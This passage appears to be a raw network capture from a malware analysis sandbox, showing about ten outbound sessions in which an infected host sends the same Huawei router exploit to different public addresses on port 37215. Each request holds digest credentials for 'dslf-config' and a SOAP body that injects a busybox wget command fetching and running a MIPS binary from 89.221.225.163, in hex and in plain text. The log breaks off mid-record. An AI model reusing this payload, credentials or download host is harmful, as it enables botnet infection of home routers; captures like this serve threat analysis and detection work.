62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	56452	156.178.255.27	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.031650066 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	40276	41.190.5.55	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.033346891 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	60180	41.125.117.102	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.034657001 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	52352	41.149.63.53	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.036395073 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	57158	156.252.250.218	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.037781954 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	35812	41.82.43.36	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.039695024 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	57910	197.0.5.179	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.042339087 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	54830	156.189.101.111	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.046226025 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	40712	41.4.254.46	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.048521042 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	47260	156.7.11.250	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.051379919 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	47494	156.217.57.108	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.055172920 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 